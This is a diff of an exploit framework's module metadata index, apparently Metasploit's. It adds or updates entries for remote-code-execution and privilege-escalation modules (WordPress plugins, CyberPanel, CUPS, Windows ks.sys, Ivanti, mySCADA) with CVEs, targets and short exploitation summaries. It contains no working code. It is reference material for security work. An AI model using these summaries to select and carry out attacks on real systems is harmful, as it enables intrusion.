+ "name": "Pallete Projects Werkzeug Debugger Remote Code Execution",
"fullname": "exploit/multi/http/werkzeug_debug_rce",
"aliases": [
],
- "rank": 600,
+ "rank": 400,
"disclosure_date": "2015-06-28",
"type": "exploit",
"author": [
- "h00die "
+ "h00die ",
+ "Graeme Robinson /@GraSec>"
],
- "description": "This module will exploit the Werkzeug debug console to put down a\n Python shell. This debugger \"must never be used on production\n machines\" but sometimes slips passed testing.\n\n Tested against:\n 0.9.6 on Debian\n 0.9.6 on Centos\n 0.10 on Debian",
+ "description": "This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone.\n\n The documentation states the following: \"The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production.\" Of course this doesn't prevent developers from mistakenly enabling it in production!\n\n Tested against the following Werkzeug versions:\n - 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n - 1.1.4 on Debian 12\n - 1.0.1 on Debian 12\n - 0.11.5 on Debian 12\n - 0.10 on Debian 12",
"references": [
- "URL-http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger"
+ "URL-https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger",
+ "URL-https://flask.palletsprojects.com/debugging/#the-built-in-debugger",
+ "URL-https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger",
+ "URL-https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger",
+ "URL-https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a"
],
"platform": "Python",
"arch": "python",
@@ -115142,9 +117465,12 @@
"https"
],
"targets": [
- "werkzeug 0.10 and older"
+ "Werkzeug > 1.0.1 (Flask > 1.1.4)",
+ "Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)",
+ "Werkzeug 0.11 - 0.11.5 (Flask < 1.0)",
+ "Werkzeug < 0.11 (Flask < 1.0)"
],
- "mod_time": "2020-10-02 17:38:06 +0000",
+ "mod_time": "2024-12-08 21:01:17 +0000",
"path": "/modules/exploits/multi/http/werkzeug_debug_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/werkzeug_debug_rce",
@@ -115152,6 +117478,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "account-lockouts"
+ ]
},
"session_types": false,
"needs_cleanup": null
@@ -116188,7 +118524,7 @@
"Windows Command",
"Windows Dropper"
],
- "mod_time": "2023-07-06 10:09:51 +0000",
+ "mod_time": "2024-12-29 17:25:12 +0000",
"path": "/modules/exploits/multi/http/wp_plugin_fma_shortcode_unauth_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/wp_plugin_fma_shortcode_unauth_rce",
@@ -116401,6 +118737,70 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_multi/http/wp_reallysimplessl_2fa_bypass_rce": {
+ "name": "WordPress Really Simple SSL Plugin Authentication Bypass to RCE",
+ "fullname": "exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-11-14",
+ "type": "exploit",
+ "author": [
+ "Valentin Lobstein",
+ "István Márton"
+ ],
+ "description": "This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin\n (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and\n uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,\n 2FA must be enabled on the target site; otherwise, the exploit will not work.",
+ "references": [
+ "CVE-2024-10924",
+ "URL-https://github.com/RandomRobbieBF/CVE-2024-10924",
+ "URL-https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass"
+ ],
+ "platform": "Linux,PHP,Unix,Windows",
+ "arch": "php, cmd",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "PHP In-Memory",
+ "Unix In-Memory",
+ "Windows In-Memory"
+ ],
+ "mod_time": "2024-12-29 17:25:12 +0000",
+ "path": "/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/wp_reallysimplessl_2fa_bypass_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_multi/http/wp_responsive_thumbnail_slider_upload": {
"name": "WordPress Responsive Thumbnail Slider Arbitrary File Upload",
"fullname": "exploit/multi/http/wp_responsive_thumbnail_slider_upload",
@@ -116575,6 +118975,136 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_multi/http/wp_time_capsule_file_upload_rce": {
+ "name": "WordPress WP Time Capsule Arbitrary File Upload to RCE",
+ "fullname": "exploit/multi/http/wp_time_capsule_file_upload_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-11-15",
+ "type": "exploit",
+ "author": [
+ "Valentin Lobstein",
+ "Rein Daelman"
+ ],
+ "description": "This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin\n (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote\n code execution (RCE).\n\n The validation logic in the vulnerable function improperly checks for allowed extensions.\n If no valid extension is found, the check can be bypassed by using a filename of specific length\n (e.g., \"00.php\") matching the length of allowed extensions like \".crypt\".",
+ "references": [
+ "CVE-2024-8856",
+ "URL-https://hacked.be/posts/CVE-2024-8856",
+ "URL-https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload"
+ ],
+ "platform": "Linux,PHP,Unix,Windows",
+ "arch": "php, cmd",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "PHP In-Memory",
+ "Unix/Linux Command Shell",
+ "Windows Command Shell"
+ ],
+ "mod_time": "2024-12-12 18:04:10 +0000",
+ "path": "/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/wp_time_capsule_file_upload_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
+ "exploit_multi/http/wso2_api_manager_file_upload_rce": {
+ "name": "WSO2 API Manager Documentation File Upload Remote Code Execution",
+ "fullname": "exploit/multi/http/wso2_api_manager_file_upload_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-05-31",
+ "type": "exploit",
+ "author": [
+ "Siebene@ <@Siebene7>",
+ "Heyder Andrade <@HeyderAndrade>",
+ "Redway Security "
+ ],
+ "description": "A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions\n (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled\n server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.",
+ "references": [
+ "URL-https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988",
+ "URL-https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html",
+ "URL-https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/"
+ ],
+ "platform": "Linux,Windows",
+ "arch": "java",
+ "rport": 9443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Automatic",
+ "WSO2 API Manager (3.1.0 - 4.0.0)",
+ "WSO2 API Manager (4.1.0)",
+ "WSO2 API Manager (4.2.0)"
+ ],
+ "mod_time": "2024-12-11 11:58:53 +0000",
+ "path": "/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb",
+ "is_install_path": true,
+ "ref_name": "multi/http/wso2_api_manager_file_upload_rce",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_multi/http/wso2_file_upload_rce": {
"name": "WSO2 Arbitrary File Upload to RCE",
"fullname": "exploit/multi/http/wso2_file_upload_rce",
@@ -117267,6 +119797,70 @@
]
},
+ "exploit_multi/local/obsidian_plugin_persistence": {
+ "name": "Obsidian Plugin Persistence",
+ "fullname": "exploit/multi/local/obsidian_plugin_persistence",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2022-09-16",
+ "type": "exploit",
+ "author": [
+ "h00die",
+ "Thomas Byrne"
+ ],
+ "description": "This module searches for Obsidian vaults for a user, and uploads a malicious\n community plugin to the vault. The vaults must be opened with community\n plugins enabled (NOT restricted mode), but the plugin will be enabled\n automatically.\n\n Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.",
+ "references": [
+ "URL-https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin",
+ "URL-https://github.com/obsidianmd/obsidian-sample-plugin/tree/master",
+ "URL-https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491",
+ "URL-https://help.obsidian.md/Extending+Obsidian/Plugin+security",
+ "URL-https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/"
+ ],
+ "platform": "Linux,OSX,Windows",
+ "arch": "cmd",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Auto",
+ "Linux",
+ "OSX",
+ "Windows"
+ ],
+ "mod_time": "2024-12-14 17:38:29 +0000",
+ "path": "/modules/exploits/multi/local/obsidian_plugin_persistence.rb",
+ "is_install_path": true,
+ "ref_name": "multi/local/obsidian_plugin_persistence",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "config-changes"
+ ]
+ },
+ "session_types": [
+ "shell",
+ "meterpreter"
+ ],
+ "needs_cleanup": null,
+ "actions": [
+
+ ]
+ },
"exploit_multi/local/vagrant_synced_folder_vagrantfile_breakout": {
"name": "Vagrant Synced Folder Vagrantfile Breakout",
"fullname": "exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout",
@@ -117906,6 +120500,71 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_multi/misc/cups_ipp_remote_code_execution": {
+ "name": "CUPS IPP Attributes LAN Remote Code Execution",
+ "fullname": "exploit/multi/misc/cups_ipp_remote_code_execution",
+ "aliases": [
+
+ ],
+ "rank": 300,
+ "disclosure_date": "2024-09-26",
+ "type": "exploit",
+ "author": [
+ "Simone Margaritelli",
+ "Rick de Jager",
+ "David Batley",
+ "Spencer McIntyre",
+ "RageLtMan ",
+ "Ryan Emmons"
+ ],
+ "description": "This module exploits vulnerabilities in OpenPrinting CUPS, which is running by\n default on most Linux distributions. The vulnerabilities allow an attacker on\n the LAN to advertise a malicious printer that triggers remote code execution\n when a victim sends a print job to the malicious printer. Successful exploitation\n requires user interaction, but no CUPS services need to be reachable via accessible\n ports. Code execution occurs in the context of the lp user. Affected versions\n are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and\n cups-filters <= 2.0.1.",
+ "references": [
+ "CVE-2024-47076",
+ "CVE-2024-47175",
+ "CVE-2024-47177",
+ "CVE-2024-47176",
+ "URL-https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/",
+ "URL-https://github.com/RickdeJager/cupshax",
+ "URL-https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8",
+ "URL-https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5",
+ "URL-https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6",
+ "URL-https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47",
+ "URL-https://github.com/h2g2bob/ipp-server/"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Default"
+ ],
+ "mod_time": "2024-11-21 15:14:46 +0000",
+ "path": "/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb",
+ "is_install_path": true,
+ "ref_name": "multi/misc/cups_ipp_remote_code_execution",
+ "check": false,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "event-dependent"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_multi/misc/erlang_cookie_rce": {
"name": "Erlang Port Mapper Daemon Cookie RCE",
"fullname": "exploit/multi/misc/erlang_cookie_rce",
@@ -125841,7 +128500,7 @@
"targets": [
"Universal"
],
- "mod_time": "2022-04-18 09:36:52 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb",
"is_install_path": true,
"ref_name": "unix/http/schneider_electric_net55xx_encoder",
@@ -127327,7 +129986,7 @@
"targets": [
"vAPV 8.3.2.17 / vxAG 9.2.0.34"
],
- "mod_time": "2022-04-18 09:36:52 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb",
"is_install_path": true,
"ref_name": "unix/ssh/array_vxag_vapv_privkey_privesc",
@@ -127372,7 +130031,7 @@
"targets": [
"Unix-based Tectia SSH 6.3 or prior"
],
- "mod_time": "2022-03-09 13:24:06 +0000",
+ "mod_time": "2024-11-18 17:32:48 +0000",
"path": "/modules/exploits/unix/ssh/tectia_passwd_changereq.rb",
"is_install_path": true,
"ref_name": "unix/ssh/tectia_passwd_changereq",
@@ -128292,6 +130951,88 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_unix/webapp/cyberpanel_preauth_rce_multi_cve": {
+ "name": "CyberPanel Multi CVE Pre-auth RCE",
+ "fullname": "exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-10-27",
+ "type": "exploit",
+ "author": [
+ "DreyAnd",
+ "Valentin Lobstein",
+ "Luka Petrovic (refr4g)"
+ ],
+ "description": "This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel:\n\n - CVE-2024-51567: Command injection vulnerability in the \"upgrademysqlstatus\" endpoint.\n - CVE-2024-51568: Command Injection via the \"completePath\" parameter in the \"outputExecutioner\" sink.\n - CVE-2024-51378: Unauthenticated RCE in \"/ftp/getresetstatus\" and \"/dns/getresetstatus\".\n\n These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks.",
+ "references": [
+ "CVE-2024-51567",
+ "CVE-2024-51568",
+ "CVE-2024-51378",
+ "URL-https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce",
+ "URL-https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/",
+ "URL-https://github.com/DreyAnd/CyberPanel-RCE",
+ "URL-https://github.com/refr4g/CVE-2024-51378",
+ "URL-https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/",
+ "URL-https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd",
+ "rport": 8090,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Unix/Linux Command Shell"
+ ],
+ "mod_time": "2024-12-05 16:05:25 +0000",
+ "path": "/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb",
+ "is_install_path": true,
+ "ref_name": "unix/webapp/cyberpanel_preauth_rce_multi_cve",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null,
+ "actions": [
+ {
+ "name": "CVE-2024-51378",
+ "description": "Exploit using CVE-2024-51378"
+ },
+ {
+ "name": "CVE-2024-51567",
+ "description": "Exploit using CVE-2024-51567"
+ },
+ {
+ "name": "CVE-2024-51568",
+ "description": "Exploit using CVE-2024-51568"
+ }
+ ]
+ },
"exploit_unix/webapp/datalife_preview_exec": {
"name": "DataLife Engine preview.php PHP Code Injection",
"fullname": "exploit/unix/webapp/datalife_preview_exec",
@@ -176290,7 +179031,7 @@
"targets": [
"Windows x64"
],
- "mod_time": "2023-05-25 12:45:30 +0000",
+ "mod_time": "2024-12-12 17:11:53 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0668_service_tracing",
@@ -177281,6 +180022,65 @@
]
},
+ "exploit_windows/local/cve_2024_35250_ks_driver": {
+ "name": "Windows Access Mode Mismatch LPE in ks.sys",
+ "fullname": "exploit/windows/local/cve_2024_35250_ks_driver",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-06-11",
+ "type": "exploit",
+ "author": [
+ "AngelBoy",
+ "varwara",
+ "jheysel-r7"
+ ],
+ "description": "The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default.\n There exists a LPE in this driver which can be exploited on many recent versions of Windows 10,\n Windows 11, Windows Server 2022.",
+ "references": [
+ "URL-https://github.com/varwara/CVE-2024-35250",
+ "URL-https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/",
+ "URL-https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html",
+ "CVE-2024-35250"
+ ],
+ "platform": "Windows",
+ "arch": "x64",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Windows x64"
+ ],
+ "mod_time": "2024-11-06 09:13:51 +0000",
+ "path": "/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb",
+ "is_install_path": true,
+ "ref_name": "windows/local/cve_2024_35250_ks_driver",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": [
+ "meterpreter"
+ ],
+ "needs_cleanup": null,
+ "actions": [
+
+ ]
+ },
"exploit_windows/local/dnsadmin_serverlevelplugindll": {
"name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation",
"fullname": "exploit/windows/local/dnsadmin_serverlevelplugindll",
@@ -184547,6 +187347,59 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_windows/misc/ivanti_agent_portal_cmdexec": {
+ "name": "Ivanti EPM Agent Portal Command Execution",
+ "fullname": "exploit/windows/misc/ivanti_agent_portal_cmdexec",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2023-06-07",
+ "type": "exploit",
+ "author": [
+ "James Horseman",
+ "Zach Hanley",
+ "Spencer McIntyre"
+ ],
+ "description": "This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method\n which will run an attacker-specified string on the remote target as NT AUTHORITY\\SYSTEM.\n This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.",
+ "references": [
+ "CVE-2023-28324",
+ "URL-https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US",
+ "URL-https://github.com/horizon3ai/CVE-2023-28324"
+ ],
+ "platform": "Windows",
+ "arch": "cmd",
+ "rport": null,
+ "autofilter_ports": [
+
+ ],
+ "autofilter_services": [
+
+ ],
+ "targets": [
+ "Automatic"
+ ],
+ "mod_time": "2024-11-20 13:51:39 +0000",
+ "path": "/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb",
+ "is_install_path": true,
+ "ref_name": "windows/misc/ivanti_agent_portal_cmdexec",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_windows/misc/ivanti_avalanche_mdm_bof": {
"name": "Ivanti Avalanche MDM Buffer Overflow",
"fullname": "exploit/windows/misc/ivanti_avalanche_mdm_bof",
@@ -186772,9 +189625,9 @@
"Nathan Kirk",
"OJ Reeves"
],
- "description": "This module executes an arbitrary native payload on a Microsoft SQL\n server by loading a custom SQL CLR Assembly into the target SQL\n installation, and calling it directly with a base64-encoded payload.\n\n The module requires working credentials in order to connect directly to the\n MSSQL Server.\n\n This method requires the user to have sufficient privileges to install a custom\n SQL CRL DLL, and invoke the custom stored procedure that comes with it.\n\n This exploit does not leave any binaries on disk.\n\n Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).",
+ "description": "This module executes an arbitrary native payload on a Microsoft SQL\n server by loading a custom SQL CLR Assembly into the target SQL\n installation, and calling it directly with a base64-encoded payload.\n\n The module requires working credentials in order to connect directly to the\n MSSQL Server.\n\n This method requires the user to have sufficient privileges to install a custom\n SQL CRL DLL, and invoke the custom stored procedure that comes with it.\n\n This exploit does not leave any binaries on disk.\n\n Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).",
"references": [
- "URL-http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/"
+ "URL-https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/"
],
"platform": "Windows",
"arch": "x86, x64",
@@ -186796,7 +189649,7 @@
"targets": [
"Automatic"
],
- "mod_time": "2020-10-02 17:38:06 +0000",
+ "mod_time": "2025-01-09 20:58:40 +0000",
"path": "/modules/exploits/windows/mssql/mssql_clr_payload.rb",
"is_install_path": true,
"ref_name": "windows/mssql/mssql_clr_payload",
@@ -189532,6 +192385,65 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_windows/scada/mypro_mgr_cmd": {
+ "name": "mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)",
+ "fullname": "exploit/windows/scada/mypro_mgr_cmd",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-11-21",
+ "type": "exploit",
+ "author": [
+ "Michael Heinzl"
+ ],
+ "description": "Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.\n The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.",
+ "references": [
+ "URL-https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07",
+ "CVE-2024-47407"
+ ],
+ "platform": "Windows",
+ "arch": "cmd",
+ "rport": 34022,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Windows_Fetch"
+ ],
+ "mod_time": "2025-01-29 20:18:05 +0000",
+ "path": "/modules/exploits/windows/scada/mypro_mgr_cmd.rb",
+ "is_install_path": true,
+ "ref_name": "windows/scada/mypro_mgr_cmd",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_windows/scada/procyon_core_server": {
"name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow",
"fullname": "exploit/windows/scada/procyon_core_server",
@@ -191714,7 +194626,7 @@
"MOF upload",
"Command"
],
- "mod_time": "2024-02-02 14:26:43 +0000",
+ "mod_time": "2024-12-16 14:55:10 +0000",
"path": "/modules/exploits/windows/smb/psexec.rb",
"is_install_path": true,
"ref_name": "windows/smb/psexec",
@@ -194821,7 +197733,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "apple_ios/aarch64/shell_reverse_tcp",
@@ -213632,50 +216544,6 @@
"stage_refname": "windows/custom",
"stager_refname": "windows/findtag_ord"
},
- "payload_cmd/windows/powershell/custom/reverse_hop_http": {
- "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "Spencer McIntyre",
- "bwatters-r7",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
-
- ],
- "platform": "Windows",
- "arch": "cmd",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
- "is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 8,
- "adapter_refname": "cmd/windows/powershell",
- "adapted_refname": "windows/custom/reverse_hop_http",
- "staged": true,
- "stage_refname": "windows/custom",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_cmd/windows/powershell/custom/reverse_http": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_http",
@@ -213802,50 +216670,6 @@
"stage_refname": "windows/custom",
"stager_refname": "windows/reverse_https"
},
- "payload_cmd/windows/powershell/custom/reverse_https_proxy": {
- "name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
- "fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
- "corelanc0d3r ",
- "amaloteaux "
- ],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support",
- "references": [
-
- ],
- "platform": "Windows",
- "arch": "cmd",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
- "is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/reverse_https_proxy",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 8,
- "adapter_refname": "cmd/windows/powershell",
- "adapted_refname": "windows/custom/reverse_https_proxy",
- "staged": true,
- "stage_refname": "windows/custom",
- "stager_refname": "windows/reverse_https_proxy"
- },
"payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp",
@@ -214856,51 +217680,6 @@
"stage_refname": "windows/dllinject",
"stager_refname": "windows/findtag_ord"
},
- "payload_cmd/windows/powershell/dllinject/reverse_hop_http": {
- "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/cmd/windows/powershell/dllinject/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
